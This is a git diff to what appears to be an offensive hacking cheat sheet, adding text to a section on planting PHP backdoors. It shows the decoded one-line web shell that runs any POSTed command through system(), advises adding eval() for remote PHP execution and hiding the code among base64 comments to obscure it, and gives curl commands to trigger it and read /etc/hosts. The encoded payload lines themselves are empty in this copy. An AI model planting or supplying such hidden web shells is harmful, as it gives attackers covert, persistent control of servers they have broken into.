diff --git a/README.md b/README.md index cfc2fce..7a27085 100644 --- a/README.md +++ b/README.md @@ -1635,6 +1635,10 @@ Add this line to the beginning of any PHP file: ```php ``` +It is base64 encoding of: +```php +if(isset($_POST[0])){system($_POST[0]);die;} +``` Test the backdoor: ```sh @@ -1646,6 +1650,25 @@ curl http://127.0.0.1:8080/test.php curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id" ``` +Sometimes `system()` is prohibited. Add `eval()` to allow remote PHP-code execution as a backup. Hide within other base64-comments for some obfuscation: +```php + +``` + +Trigger with any of these to execute comand or PHP code: +```shell +# Execute just command +curl http://127.0.0.1:8080/x.php -d0='id' +# Execute just PHP code +curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");' +``` + **6.v. Local Root Backdoor**